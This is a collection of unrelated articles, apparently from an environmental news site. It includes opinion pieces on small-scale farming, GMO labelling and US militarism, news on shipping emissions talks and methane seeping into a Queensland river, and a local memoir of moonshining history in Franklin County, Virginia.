But we also raise many millions of tonnes of pulses, tubers, fruit and vegetables, plus meat, fish, eggs, and dairy - which supply enough macronutrient for another 7 billion, and also the bulk of our micronutrients (vitamins and the rest).

Meat is a fad, consumption should be occasional

The alleged 'demand' for meat is specious - at best a careless misreading, at worst a commercial scam. True, people newly emerging from poverty as in the US after World War II and the Depression, or in modern-day China, but does this really reflect an innate craving for meat as the official folklore has it? Or does it merely reflect what people will buy, if it's on offer?

Modern research and common observation show above all that human beings are adaptable - we eat what's available and what is fashionable. Meat for newly-rich people symbolises the end of hard times and commerce rushes to cash in, as in all those burger and fried chicken joints in modern Beijing.

Besides, meat is the ultimate fast food. Bung it under the grill and throw on some onions and ketchup and Bob's your uncle. An instant national cuisine. No skill needed. Minimum wages all round, or preferably less.

But people who have no need to show their wealth do not eat conspicuous quantities of meat. In some of the richest corners of the world (California, New York, Germany) it is fashionable to be vegetarian. The great cuisines of the world from Italy via Turkey and Persia to India and China all use meat sparingly - as garnish, stock, and for occasional feasts.

Traditionally sheep and cattle were raised on pasture in places where cultivation is difficult - too wet, too dry, too high, too steep - and pigs and poultry were kept as fillers-in, to eat surpluses and leftovers, plus weeds and pests. In these capacities they do not compete with us.

They either live in remote places or else are integrated into rotations that include horticulture and arable, which they help to fertilize and cultivate. By such traditional means we could easily produce enough meat to support all the world's great cuisines. That doesn't sound frightening at all.

Such husbandry is not profligate. It is prudent. We should stop producing more and more of everything, meat included, and focus instead on quality and on justice and kindness and ways of life - and on sustainability and resilience. We need to support farmers who farm accordingly, and the rest of us need above all to re-learn how to cook, to make best use of what good farmers provide.

It is very sad that so many scientists have bought in to the idea that humanity is 'demanding' more and more meat without ever apparently reflecting that 'demand' in this context is merely a measure of what can be sold. Science, one feels, should be more questioning. That is its raison d'etre.

Low-input traditional farms can make all the difference

The kind of farms we really do need are the complete opposite of what the powers-that-be recommend. To be truly sustainable farms need to be low-input; organic becomes the default position. Fertilizers, herbicides and the rest are entirely oil-dependent.

To be resilient against pests and weather, farms need above all to be diverse. Organic (or quasi-organic) diverse systems are necessarily complex - which means we need plenty of skilled farmers: not armies of slaves doing the work of tractors, but people who know what they are doing, and care.

When enterprises of any kind (not just farms) are low-input, complex and skills-intensive there are very few advantages in scale-up, so the default position of farms that could really feed us all well and go on doing so is to be small to medium-size; though they may grow larger by various forms of cooperative.

The oligarchs' selected experts argue that small, mixed, organic farms could not possibly 'feed the world'. Yet an ad hoc group of 900 experts in 2008 called IAASTD, co-chaired by Professor Herren, pointed out that small, mostly low-input traditional farms already supply at least half of the world's food despite the lack of support, and indeed in the face of official hostility

Also a great many studies already show that small mixed units with plenty of TLC can be more productive per unit area than the high-tech monocultural kind (although more formal studies are still needed to pin this down). Farming is also the world's biggest employer by far and since the great or not-so-great age of fuel-hungry heavy industries is now past, no other industry could conceivably employ so many.

More farmers and workers are needed

Unemployment is the royal road to the poverty on which governments have ostentatiously declared war (or at least they did before their own economies collapsed).

Right now a billion people live in urban slums - almost a third of all city-dwellers; and most are refugees from the countryside, with their dependents and immediate descendants. For the kind of low-input, mixed, skills-intensive, small-to-medium sized farms that the world really needs are now being swept aside wholesale by the oligarchs the world over.

In Britain, we are currently losing one dairy farm every day, edged out by high-tech industrialization, with corporate takeover encouraged by the government and the anomalously named National Farmers' Union, the NFU, both of which in truth are extensions of the corporate boardroom.

Demonstrably, milk quality suffers and rural societies are shattered - and the same pattern is repeated in all branches of farming. British governments urge others to follow our lead for we are 'developed'. But Britain's farms right now are dangerously understaffed, and as Felicity Lawrence told this year's Oxford Real Farming Conference, Britain's agriculture now relies absolutely on immigrant labour of conveniently dubious legal status.

To be secure we need about eight times as many farmers as we now have: a million more for starters. The oligarchs claim that if we employed more farmers food would be dearer but this too is spurious. 80% of what we now spend on food in supermarkets goes to the supermarket itself and to the ludicrously complex food chain. Only 20% goes to the farmers and probably only 10% to the workers.

Small mixed farms feeding in to local markets would reduce the food chain markedly, attacking that portion of the cost that really matters. Yet the oligarchs think that it's 'efficient' to lose the work-force, not least because their accountancy is highly selective and the real cost, not least to human wellbeing, is not counted. Indeed the loss of farmers is called progress.

Self-reliance could lead to an 'Enlightened Agriculture'

Finally, contra Ricardo, all countries should strive as far as possible to be self-reliant in food - and most could readily achieve it. Self-reliant does not mean self-sufficient. It just means growing enough to get by, and using trade to fill in the gaps, provide insurance (all crops fail from time to time and it's good to spread the options) and to keep open the lines of communication (the European 'Common Market' was originally designed to make war too difficult).

Britain could easily be self-reliant in temperate crops, and we could live well enough on temperate crops, though in normal times we would import coffee and bananas just as we do now (and pay a proper price for them). At the moment, with all our high tech and vast investment, we grow only 60%.

So we need a complete re-think. We need to introduce, or rather to re-introduce, what I am calling 'Enlightened Agriculture', aka 'Real Farming': informally but adequately defined as 'farming that is expressly intended to provide everyone, everywhere, with good food without cruelty or injustice and without wrecking the rest of the world'.

That sounds a reasonable ambition, I hope, and should be eminently achievable, but it's the precise opposite of oligarch thinking.

Right now, agriculture like everything else is treated as 'a business like any other' and since the rise of the neoliberal 'free' market economy in the 1980s business itself has been re-conceived, not as the natural component of democratic society but as the means by which the people who compete most vigorously can grow richer.

Behind all the rhetoric and selected stats that tell us we must industrialize and embrace GM lies the perceived imperative to maximize wealth, measured in cash. That is what the present government and the NFU and the oligarchs in general call 'realistic'. The realities of hunger and environmental degradation are incidentals which will, miraculously, clear themselves up when the world is rich enough.

Clearly, then, it isn't enough just to re-think farming. We need to re-design the economy, to support the kind of farming we need. The economic model that seems most benign and workable is 'economic democracy', one key aspect of which is ownership and control by communities, in addition to state and private ownership; a variation on the theme of social democracy. Martin Large expands this idea in Common Wealth.

The politics behind farming and the links with science

Yet we can't install a new economy unless we have a government that sees the need for it. Given that we are supposed to be a democracy we ought to be able to do this, but apparently not. Britain's present government is one of the most obsessively neoliberal of all times.

Apart from the Government's subservience to international finance it seems to have unlimited power. It also claims to democratic, and indeed sends young men and women to war in the name of democracy. Yet at the last election it gained scarcely a quarter of the available vote. That doesn't look like democracy.

But we need to dig even deeper than politics, down to the Zeitgeist, the largely unexamined ideas that lie deep in our psyche and in the collective mind of all society. We need to look again at science - what it really is: what it really can do for us and what it can't.

The open-mouthed technophilia that now prevails in political circles with their calls for 'science-led policy' is naive in the extreme, and yoked as it now is to the service of neoliberal economics it is threatening to kill us all.

Science is among the supreme achievements of human kind and the high technologies that arise from it can be among our greatest assets but science and high tech used primarily to make the rich richer and the powerful more powerful are among our greatest threats. This is tragedy writ large.

We need to re-think morality, too. Neoliberals make a virtue of their ruthlessness - it's all about getting ahead: seizing a bigger 'market share'. In truth we need not to compete to the death but to cooperate, and cooperation must be underpinned by trust and rooted in compassion, the cardinal principle embraced by all the world's great religions.

I suggest in Six Steps that science and morality in turn are rooted in metaphysics, with its contemplation of transcendence - the proposition that there is more to the world than meets the eye. But people who reject metaphysical musing can still do all that's needed.

The next steps

So what in practice is required? Well, as outlined, we all need to take food seriously and re-learn how to cook. It would be good too if about 10 per cent of us in Britain became farmers - the book outlines a plausible route, even in these hostile times, and many have already shown what can be done.

For starters we need to form communities of people who care about food and farming and start to take over the entire shooting match - make the Renaissance happen. People in groups can provide markets for farmers brave enough to farm in enlightened ways.

People in groups can buy significant amounts of land even though land in Britain like everything else has been left to the speculators and is ludicrously overpriced. Even at present prices, the people of Britain could buy out all of Britain's farmland for about 8000 a head - not a lot, stretched over a lifetime.

I belong to several groups that are pulling in the right direction. In particular I am involved with the Real Farming Trust which supports the Oxford Real Farming Conference, where farmers and other interested parties gather each January to share ideas on what needs to be done.

In addition to Funding Enlightened Agriculture (FEA) which aims to help new farmers and small farms generally; and - my own pet project - the College for Real Farming and Food Culture, intended to develop and promulgate the key ideas that the Agrarian Renaissance requires, and bring the many various interested parties together.

There are already enough people out there who hate what's going and are seeking the alternative to form a critical mass, but they don't sufficiently cohere. The CRFFC website will be up and running soon. Meanwhile, Six Steps Back to the Land outlines the main ideas and describes what others are doing to push things ahead and asks, why not you?

Colin Tudge is (with Ruth West and Graham Harvey) a co-founder of the Oxford Real Farming Conference and writes at the Campaign for Real Farming.

Book: Six Steps Back to the Land was launched in March 2016 by Green Books, Cambridge.

Event: Colin Tudge will lead a 3-day event next weekend to discuss and debate 'a sustainable future of food and farming'. It begins on Friday 29th April at The Chisholme Institute in the Scottish Borders. Delegates are invited to join in the debate and formulate an action plan for change. Full details here.
But note the use of the word 'desire' and not 'right'.

Neither the food industry nor a majority of Senators and Representatives in the US Congress have acknowledged that consumers have a 'right to know' through labeling which foods are produced using GMOs.

Even the controversial Vermont law has some significant labeling exemptions including food prepared in restaurants, take-away meals and, most notably, all meat products.

It is expected that more companies will begin to label their GMO-containing products. Scott Faber of the Environmental Working Group believes that around a dozen will join the bandwagon within the next couple of weeks.

Sophie Ann Terrisse, from New York brand-management firm 26FIVE in New York, says companies "won't have a choice ... For food and consumer product companies, trust is paramount to keep and attract customers." Companies which label now, rather than wait, she argues, will benefit by earning the trust of their customers.

She also expects they will choose to comply nationally with the terms of the Vermont law - as the ones who have started labeling are doing - and this will become the template for labeling laws in other states.

The (potentially) ugly - a labeling compromise

labeling bills are currently pending in 31 other states and statutes similar to Vermont's have already been passed in Connecticut and Maine.

There is significant support for labeling within the state legislatures of Massachusetts, Rhode Island and New York and this, coupled with the new found corporate willingness to label, could lead to relatively swift changes and the creation of a New England GMO labeling retail bloc.

On the other hand, opposition to labeling from others in the agri-food sector and the conflict over Federal and State jurisdictions is likely to intensify.

Concerns, fostered by industry lobbyists, about a potential hotchpotch of differing state rules creating obstacles to trade, increased costs to farmers, food companies and consumers and labeling that stigmatises genetic engineering, still prevail in Congress.

In addition, there is a deep-seated view amongst many lawmakers that federal labeling should encompass only health and safety matters - which they maintain is not an issue with GMOs - and not questions of choice or production information. These factors foster formidable opposition to federal mandatory labeling. It's a certainty that that there will be energetic attempts to find a compromise in Congress over the next few months.

It should be remembered that the Republican-controlled House of Representatives has already passed a bill preventing individual States from enacting GMO labeling, the Senate is close to a split because a number of Democrats (mainly from farm states) are completely opposed to labeling or would like to see a compromise.

The end of the 'broad church' campaign?

Some labeling advocates believe that the further the company labeling bandwagon rolls the more difficult it will be for Congress or the Federal government to stop mandatory labeling and pre-empt them with voluntary schemes.

A contrary argument is that the more companies voluntarily label according to the terms of the Vermont law, alongside the growth of GMO free verification schemes (such as the Non GMO Project label), the less need there is for mandatory labels.

Several compromise proposals have been tabled both in Congress and by federal officials, including the idea of a mandatory barcode on product packaging which consumers could scan using a smart phone and access information about GMO use. This doesn't cut it for most pro GMO labeling campaigners: anything less than clear and unequivocal on-package labeling will be inadequate for them.

But there are some in the hitherto broad church of campaigners who might be swayed. It has been reported that 'secret' meetings have been held between some of them and the US Secretary of State for Agriculture, Tom Vilsack, to explore compromise options.

Consumer response: confusion and acceptance?

It is not yet clear how consumers will respond to the new GMO labels but the partial nature of the Vermont rules is likely to lead to some confusion. Vermont regulations only cover products regulated by the Food and Drug Administration and exempts meat and poultry products regulated by the United States Department of Agriculture (USDA).

Denise Morrison, Campbell's chief executive, has highlighted the case of that company's SpaghettiOs where the original variety handled by the FDA will need a label, but SpaghettiOs with meatballs, covered by the USDA, will not: "These two varieties sit next to each other on a store shelf, which is bound to create consumer confusion."

It is uncertain how many consumers will be turned off by such confusion and find they are not really that bothered about GMO labels. Moreover, the shared, but hitherto untested, conviction of pro- and anti-labeling proponents that GMO labels will lead to a dramatic reduction in the sales of GMO ingredient products is about to get a real world examination.

Whilst polls routinely show that over 90% of Americans want GMO labeling, to date, there is little solid information as to how many people will continue to purchase GMO produced foods if they are labeled. Recent research shows that the majority of US citizens feel GM foods are unsafe but it also shows that overall public knowledge of the issue is superficial and open to influence.

Companies who have accepted labeling are not going to remove GMO ingredients from their products, so presumably they think their sales will not be adversely affected to any significant degree or that they can mitigate any impact through information and marketing.

"Acknowledging consumers' right to know how their food is produced removes the biggest weapon the anti-GMO campaign has in its arsenal - the notion that the industry opposes labeling because it has something to hide", argues long term agriculture industry commentator Laura Rance.

"Chances are, once consumers are assured of their right to know, most will shrug and continue to buy the products they've always enjoyed."

The Vermont labeling law: a transatlantic Trojan Horse?

She may well be correct and we shall find that the creation of a GMO labeling broad church has turned out to be a 'Trojan Horse'.

The strategy which evolved in recent years, sought to make GMO labeling winnable by making it more palatable to policy makers. This has focused predominately on the 'right to know'; has largely put to one side wider farming and food issues; and has been willing to accept labeling exemptions such as those on meat products.

But success on those terms could inflict significant damage on the overall anti-GMO campaign in the US. It will be problematic on the European side of the Atlantic too - however it pans out in the US.

In the UK and the rest of the EU most food produced using GMOs has to be labeled. They can be so pathetically small you need a magnifying glass to see them - but they do have to be there.

Except - and the exception is massive - for livestock products where the animals have been fed with feed produced with GMOs or containing GMO residues. Nor are consumers allowed to know if they are buying products from animals which have been treated with vaccines produced using GMOs.

There are other exemptions. Food sold through catering outlets in the EU - whether eat in or take away - does not have to be labeled; except, strangely in the UK, where for once the Food Standards Agency interpreted an EU regulation in favour of the consumer instead of industry (not that it is enforced but that's another matter).

Campaigners have been working hard but without success to plug this gap and secure GM labeling on livestock products. Companies have shrugged off these demands by saying they are complying with the law; and regulators, if they bother to respond at all, argue that it is too complicated and costly.

Any GMO labeling in the US - whether voluntary or regulatory (either / or State / Federal) - which exempts livestock products undermines the campaign here.

Changing the TTIP balance

Furthermore, within the context of TTIP (the Transatlantic Trade Investor Partnership), it could deal a fatal blow in the battle to win comprehensive and transparent labeling of all foods and feed produced with genetic engineering technology.

TTIP, it is claimed, is about creating regulatory 'harmony' or 'equivalence' - euphemisms for removing all consumer and citizen protection that get in the way of the narrow interests of industry and corporations.

Differences between the US and the EU over genetic engineering are seen as a major obstacle to securing a TTIP deal. Until now - as far as we know given the undemocratic, secretive nature of the negotiations - the issue has not been progressed.

However, the emergence in the US of industry wide agreements - either voluntary, state / federal regulation based, or a mixture of them - based on the Vermont law with all its livestock products and other exemptions will open up the GMO issue within TTIP.

It will allow US negotiators to abandon a hard line 'no labeling at all' position and create space for discussions on 'flexible', 'innovative' ways consumer information can be delivered. Existing exemptions - especially on livestock products - will be fixed and, depending on how far things develop in the US, bar codes rather than clear on-package label information could come into play.

This might also influence negotiations relating to decisions on which new genetic engineering technologies - the so called new plant breeding technologies (NPBTs) - should be covered under GMO regulations.

The legal status of a number of these is currently being assessed, although CRISPR - which has become the most prominent one - is not, as yet under consideration. It is likely that some will fall in and some outside of the scope of existing EU regulations.

It doesn't stretch imagination too far to see a proposal for an 'innovative' swerve around the regulations for some of them, if bar codes rather than transparent labeling win the day in the US - after all, it could be claimed, this would meet the consumers 'right to know'.

Even if TTIP falls, partial and flawed GMO labeling in the US strengthens partial and flawed GMO labeling in Europe. The push for 'harmonised' regulation - meaning hollowed out regulation - will continue with or without TTIP.

Victory in Vermont should be cheered but with a muted one or possibly one and a half cheers - and only as part of the effort to win comprehensively.

Lawrence Woodward OBE is the Co-ordinator for Citizens Concerned About GM (GM Education), the Director of Beyond GM and the Principal Policy Advisor for the Organic Research Centre.

This article was originally published by Beyond GM.
Asking others to pay more is endorsing imperialism

Is there some sort of altruism in the US setting itself up as the gendarme of the world? Well, that's a rhetorical question, obviously, but such self-deception is widespread, and not just among the foreign-policy establishment.

One line of critique sometimes heard, especially during this year's presidential campaign, is that the US should demand its allies "pay their fair share." It's not only from right-wing quarters that phrase is heard, but even from left-wing populist Bernie Sanders, who insisted during this month's Brooklyn debate with Hillary Clinton that other members of Nato ought to pay more so the Pentagon budget can be cut.

Senator Sanders said this in the context of pointing out the superior social benefits across Europe as compared to the US, but what it really implies is that militarism is justified. Setting aside that Senator Sanders' record on imperialism is not nearly as distant from Secretary Clinton's as his supporters believe, it is a reflection of how deeply imperialism is in the bones of United Statesians when even the candidate positioning himself as a Left insurgent doesn't seriously question the scale of military operations or their purpose.

So why is US military spending so high? It's because the repeated use of force is what is necessary to maintain the capitalist system. As top dog in the world capitalist system, it's up to the US to do what is necessary to keep itself, and its multi-national corporations, in the driver's seat.

That has been a successful project. US-based multi-nationals hold the world's highest share in 18 of 25 broad industrial sectors, according to an analysis in New Left Review, and often by commanding margins - US multi-nationals hold at least a 40% global share in 10 of those sectors.

A partial list of US interventions from 1890, as compiled by Zoltan Grossman, a professor at Evergreen State College in Olympia, Washington state, lists more than 130 foreign military interventions (not including the use of troops to put down strikes within US). Consistently, these were used to impose US dictates on smaller countries.

At the beginning of the 20th century, US President William Howard Taft declared that his foreign policy was "to include active intervention to secure our merchandise and our capitalists opportunity for profitable investment" abroad. Taft overthrew the government of Nicaragua to punish it for taking a loan from a British bank rather than a US bank, and then put Nicaragua's customs collections under US control and handed two US banks control of Nicaragua's national bank and railroad.

Little has changed since, including the overthrows of the governments of Iran (1953), Guatemala (1954), Brazil (1964) and Chile (1973), and more recently the invasion of Iraq and the attempted overthrow of the Venezuelan government.

Muscle men for big business

We need only recall the statement of Marine Corps general Smedley Butler, who summarized his highly decorated career in 1935, in this manner: "I spent thirty three years and four months [in] the Marine Corps ... during that period I spent most of my time being a high-class muscle man for Big Business, for Wall Street and for bankers. In short, I was a racketeer for capitalism."

The bipartisan refusal to acknowledge this is exemplified in US narratives concerning the Vietnam War. The 'debate' that is conducted in the corporate media is only between two 'acceptable' viewpoints - an honourable effort that tragically failed or a well-intentioned but flawed effort that should not have been undertaken if the US was not going to be 'serious' about fighting.

Never mind that tonnage of bombs dropped on Vietnam were greater than what was dropped by all combatants in World War II combined, 3 million Vietnamese were killed, cities were reduced to rubble and millions of acres of farmland was destroyed. By what sane measure could this be said to be fighting 'without really trying', as right-wing mythology still asserts?

No modern corporate enterprise would be complete without subcontracting, and the Pentagon has not stinted here. That is not a reference to the massive, and often guaranteed, profits that military contractors enjoy as more supply operations are handed over to connected companies, but rather to the teaching of torture techniques to other militaries so that some of the dirty work of maintaining capitalism can be undertaken locally.

The US Army's infamous School of the Americas, lately masquerading under the deceptively bland-sounding name Western Hemisphere Institute for Security Cooperation, has long been a finishing school for the personnel enforcing the rule of military and civilian dictatorships throughout Latin America.

Capitalism is built on violence

Major Joe Blair, who was the director of instruction at the School of the Americas from 1986 to 1989, had this to say about the curriculum:

"The doctrine that was taught was that if you want information you use physical abuse, false imprisonment, threats to family members, and killing. If you can't get the information you want, if you can't get that person to shut up or stop what they're doing, you assassinate them - and you assassinate them with one of your death squads."

The change of the name more than a decade ago was cosmetic, Major Blair said while testifying at a 2002 trial of School of the Americas protestors: "There are no substantive changes besides the name. They teach the identical courses that I taught, and changed the course names and use the same manuals."

The entire history of capitalism is built on violence, and violence has been used to both impose and maintain the system from its earliest days. Slavery, colonialism, dispossession of the commons, draconian laws forcing peasants into factories and control of the state to suppress all opposition to economic coercion built capitalism.

The forms of domination change over the years, and are often financial rather than openly militaristic today (although the armed fist lurks in the background); regardless, exploitation is the lifeblood of wealth.

Demanding that the cost of this should be spread around is a demand to continue exploitation, domination and imperialism, and nothing more.

Pete Dolack is an activist, writer, poet and photographer, and writes on Systemic Disorder. His forthcoming book 'It's Not Over: Lessons from the Socialist Experiment', a study of attempts to create societies on a basis other than capitalism, has just been published by Zero Books.

This article was originally published on Systemic Disorder.
Over 150 world leaders are meeting in New York today to sign the Paris Agreement, negotiated at the COP21 UN climate conference in Paris last December.

But amid the razzmatazz and hyperbolic speeches you would never know the world just failed the first big test of its ability to deliver the Paris Agreement's 1.5C global warming ceiling.

Countries have been meeting this week at the International Maritime Organisation's (IMO) annual marine environment protection meeting in London to debate proposals to limit fast growing emissions from international shipping.

But they failed to take decisive action. Instead countries divided over a proposal that would have the UN body set emissions targets for global shipping as early as 2017 - and any decision was pushed off until the next IMO marine environment protection committee (MEPC) meeting in October this year.

The proposal, submitted by The Marshall Islands and initially backed by Belgium, France, Germany, Morocco, and the Solomon Islands, said it was the "right time" to determine shipping's "fair share" in the fight against climate change.

It's up to the IMO to act because international shipping and aviation are not covered by the Paris Agreement. However the head of the IMO indicated that the group would take up the challenge of GHG emissions from ships during this meeting.

Blocked by BRIC?

Writing in The Ecologist this week, Labour's Shadow climate minister Barry Gardiner expressed concern that the UK was lukewarm on the Marshall Islands' plan.

But in the event the opposition came from a group of powerful countries including the US, Saudi Arabia and the entire BRIC group who want to delay any concrete emissions targets and instead continue with a plan that focuses on monitoring and evaluating CO 2 data before any decisions are made.

The plan to establish a monitoring and data collection plan before making any decision was proposed by the USA last year - and they continue to support the slower approach. The Chinese delegation said it was "too soon" for action. Brazil claimed it was "too complex" to run talks about fair shares in parallel with the data collection work.

The Marshall Islands' proposal, also supported by other countries including Denmark, Italy, Norway, and Sweden, quoted the Paris Agreement at length, and urged the assembled delegates to support its goal of limiting warming to 1.5C. If adopted it would have called on the IMO to select a method to determine the shipping industry's 'share of emissions' by the MEPC meeting in 2017, and apply it the following year.
So much methane gas is now bubbling up through the Condamine River in Queensland, Australia that it exploded with fire and held a large flame.

Gas seeping into the river began shortly after coal seam gas operations started nearby and is growing in volume and the stretch of river affected is expanding in length.

Greens MP Jeremy Buckingham travelled to Chinchilla in South Western Queensland to investigate the impact of the coal seam gas industry on the environment as part of the Greens' campaign to ban fracking and unconventional gas in Australia.

"I was shocked by the force of the explosion when I tested whether gas boiling through the Condamine River, Queensland was flammable. So much gas is bubbling through the river that it held a huge flame for over an hour", said Greens MP Jeremy Buckingham.

Methane was first discovered bubbling through the Condamine River near Chinchilla in 2012 where coal seam gas wells had been drilled by Origin Energy nearby. There are hundreds of wells in the immediate area, with three companies, Origin Energy, QGC and Arrow Energy all operating coal seam gas fields nearby.

Could gas drilling possibly be to blame?

Locals say the river has never bubbled with has like this historically. Government investigations found (p19) that the source of the gas was "consistent with gas originating from Surat Basin geological formations."

The concern is that depressurising the coal seams for gas extraction has caused methane gas to flow up other cracks, fissures, bores, to the surface - such as through the Condamine River. This is directly polluting the river and the air, but also methane is a potent greenhouse gas and these fugitive emissions are a major concern.

Not only is the gas bubbling becoming more intense recently, but it is spreading to a greater length of the river. Origin Energy which operates has wells in close proximity to the gas seep, has installed some monitoring pipework, and the Queensland Government has put stakes on the river bank to mark each visible seep.

Mr Buckingham said: "Explosive gas boiling through a river shows just how damaging fracking and unconventional gas extraction can be. We should be going with clean renewable energy and banning fracking and unconventional gas in Australia. The era of fossil fuels is over."

"I do not want to see this happen to the Namoi River, or any other river in New South Wales, or anywhere else, which is why unconventional gas should be stopped. The fact that this is happening in the Murray Darling Basin is a national disgrace."

'We are all deeply concerned'

Chinchilla local resident, John Jenkyn who lives next door to the QGC Kenya gas field and gas processing facility said: "Anything that contaminates the underground water is a terrible thing. Depressurising the aquifers to extract the coal seam gas seems to have made the gas flow out beneath the Condamine River and it's now spreading further.

"Over the last few years there more and more patches of bubbles have appeared on the river and the pressure of the gas has increased to the point where it is like an over-sized spa bath. It's a river, it shouldn't be doing that."

Karen Auty, Chinchilla resident and activist against unconventional gas said: "It's deeply troubling to see contaminated water ways and to see water bores blow out with gas or fail and ground water levels drop. We're all deeply concerned about the water."

"As local residents we want to know whether it is safe to live among all these gas wells and infrastructure, what are the impacts on our health?"

Source: Australian Greens MP Jeremy Buckingham.
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With the influx of the Scotch-Irish to Southwestern Franklin County in the mid-1700s, came the birth of The Moonshine Capital of the World.

These poor displaced Scots, who were enticed to immigrate to Northern Ireland by the English, became disillusioned and sought a new beginning. Looking for solitude and cheap land, they came to Pennsylvania, migrating south down the Great Wagon Road, the most heavily traveled road in all America before the Revolution. From Philadelphia, down the Valley of Virginia, the road passed just west of Rocky Mount and on the way to Georgia. Many Scotch-Irish dropped off in Southwestern Franklin County.

Strongly individualistic, these high spirited, quick tempered Presbyterians sought the isolated mountainous terrain where they would not be bothered and could do their thing. Supplemented by their cultural heritage, they adapted to the new land to become subsistence farmers, lumbermen and moonshiners.

Moonshining enabled them to more completely utilize their corn crop without loss by converting this to liquid to facilitate a more easily transport of their crop. These irascible neighbors of the more placid English and Germans were better appreciated as indefatigable, courageous and aggressive Indian fighters during the French and Indian War when a buffer for protection was needed. These rugged lumbermen became proficient moonshiners and passed this legacy on for generations.

The technique and equipment remained unchanged for over 150 years. The turnip type still was not replaced by the submarine still until the 20th century. Early pictures show the family pride in the family enterprise with everyone posed with the still -- mom and children dressed in their Sunday best, the dog, and the men folks displayed their prized weapons and banjo. It was a closed society to the outsider to protect the moonshiners God given right to distill and do as he pleased. Visitors were suspect and not to be trusted.

Having been born and raised in Franklin County, I grew up with moonshining as a way of life for many. Good people made a living illegally by not paying taxes on their whiskey, which competed with the whiskey sold by the government. It was their way of making a living through hard work to provide for their families. Had there been available welfare, they would have been too proud to take it.

Even if you were not involved in the whiskey business, as our family was not, you might be affected anyway. I remember my father telling of getting up his cows one evening to find them stumbling drunk. He found out the neighbors still had been destroyed upstream and the creek was contaminated with alcohol. Slightly later after a flood, the two young hired hands found two five-gallon tins of whiskey washed up at the creek. They benefited greatly by taking it to a dance on Saturday night.

In my many years of medical practice, I learned to not ask questions but enjoy the volunteer stories of the old moonshiners -- how Uncle so-and-so shot the tin cup from the hand of the revonooer as he stooped at the spring to get a drink of water and watched as he hastily retraced his tracks back to Rocky Mount. Even worse, another told how Uncle so-and-so, hidden in a big old stump, shot a hated revenue officer as he headed into the heavily industrialized hollow; how local ingenious alerts emanated from the country store porch when a suspicious vehicle passed to immediately notify the still hands; how abused and beaten mules stationed near the still reacted to any human coming near and thus alerted the still hands.

Jim Bowman, a longtime revenue officer here, told how moonshiners would abuse a mule to condition him to be wary of any humans -- a lookout mule. He told of one extremely dark night in the deep woods crawling on his stomach towards an actively operating still only to suddenly find himself under the belly of a sleeping lookout mule. He made a sudden exit and a premature rush upon the still.

I heard about the quirky Scotch-Irish in-laws who moonshined and who lived on different sides of the hollow. They were envious of the others operation. On rainy days, each would resort to his barn and fire their 30-30 rifles at the others barn just for the fun of it.

Many remembered the splintered, riddled barns. One patient told of loading a load of shine under a tree while the moonshiners brother-in-law shot the branches out of the tree above his head. He was reassured, Dont worry, hes not going to hurt you, just scare you. The cargo was loaded in record time.

Of course everyone remembered the suped up cars, especially the 40 Ford coupe with indescribable engine alterations. Revenue officers bemoaned the fact that the state would only provide generic stock cars for them that wouldnt even compete. Embarrassed, agent Ken Stoneman told of how runners would play with him, leaving him in the dust, then waiting up the road for him to catch up so he could repeat it again before Stoneman gave up in disgust. He remembered high speed chases when his opponent would pull a bootleggers turn in front of him and end up meeting him rather than chasing him.

Old timers told of seeing the famous Curtis Turner, the father of stock car racing and reportedly the greatest driver ever (who married into the Ross family of Franklin County), do a bootleggers turn in the middle of a narrow bridge and never incur a single dent. Curtis was raised on a mountain over in Floyd County. The mother of my friend told of being raised below on the mountain and in the late afternoon hearing Curtis gunning down the mountain and her mother hollering Get the chickens out of the road, here comes Curtis.

Transporters started young. One told me how his uncle drafted him at age 13. He did this for years. Another told how he delivered for years to a garage in Southside Virginia. He would drive in, go across the street and eat, come back to an empty car and come home. Periodically, as arranged, he would take a suitcase and when he returned, it would be filled with up to $50,000 in cash in the vehicle. On the way home he would stop for a drink and simply take the suitcase with him with no concern.

Deception was tantamount to success. One had a loaded cattle truck with the metal bed being the top of a large flat metal tank made inconspicuously underneath. Of course, he had to wash the bed with the cows still in place before emptying the tank. Another simply used a trailer truck for his deliveries, as it was not suspicious.

With airplane surveillance, ingenious entrepreneurs went underground or even faked a cemetery to explain the road up the mountain. One lamented how just as he finished loading his car, revenue agents appeared and took it. He and his friend soon after drove to town to find it parked beside the courthouse unattended. He got in, sped off, unloaded and hid the car.

One very dignified appearing white-haired patient from Roanoke in his 70s told me he had just gotten out of prison for the second time. Both times were for killing his partners with a .45 because of a double-cross over finance distribution from liquor sales. He told of once hauling a load into Roanoke from Franklin County and finding policemen with a roadblock at the little bridge on Starkey Road (now Electric Road) before Tanglewood Mall. He stopped, stepped out behind the drivers door and told the two officers, You know as well as I do that this load is paid through. One or the other of us is not going to walk away. You decide which one. The officers talked, then left.

Of course the famous Moonshine Conspiracy Trial of 1935 has always taken center stage. Well known historian and lawyer T. Keister Greer chronicled this well in his book so titled. This has provided substance for subsequent books and movies like Lawless. This was the second longest trial in Virginia history, second only to Aaron Burrs Trial. So widespread was the corruption and complicity from top to bottom among the legal authorities and the moonshiners that the federal government investigated for tax evasion.

Undercover agents investigated for four years before incriminating a large number of well known Franklin County citizens. Deputy Jeff Richards operated as Treasurer to collect granny fees from those who wanted unhindered operations and delivery. He did not want to bear the burden alone, and it was known he was going to testify at the trial. He knew too much; he was a wanted man.

He was ordered to make an arrest for an innocuous larceny of one who was well known in his neighborhood and bring him in that night. His constant deputy partner begged to be dropped off at his house because he felt ill. At Antioch Church on the Callaway Road, he and his prisoner were found murdered that night. Richards had 15 bullet holes in his body -- buckshot and .45 caliber. In his 31 Ford Roaster, there were 24 bullet holes in the windshield, 12 in the top and 13 in the back.

The trial brought out some amazing statistics. In four years, Franklin County had used 33.5 million pounds of sugar, 70,000 pounds of yeast (Richmond used 2,000 lbs), 600,000 five-gallon tin firkins and had produced 3.5 million gallons of moonshine. Multiple prominent citizens were incriminated. Other illustrious players surfaced, like Willie Carter Sharpe, the trim 30 year old, black haired transporter with a diamond implanted in her front tooth. With her beefed up muscle car, she ushered out loads of moonshine, sometimes in a caravan of five. She assisted the heavy laden cars up the mountain into Roanoke by hooking her back bumper to their front bumper until getting to the top and releasing them. At other times, she would be a decoy and go through Rocky Mount at 75 miles per hour with federal officers shooting at her tires. She usually got away.

The trial garnered national attention and recognized journalist Sherwood Anderson covered it. Writing in Liberty Magazine, he declared Franklin County the wettest county in America.

With the highly organized moonshine industry disrupted, Franklin County was not out of business. In 1981-1982, 74 of 158 stills broken up in all Virginia were in Franklin County. In 1990, The Washington Post featured a large article on Franklin County hooch, which further reinforced its claim as the Moonshine Capitol of the World. With the focus on Franklin County, local operators moved their stills out of the county.

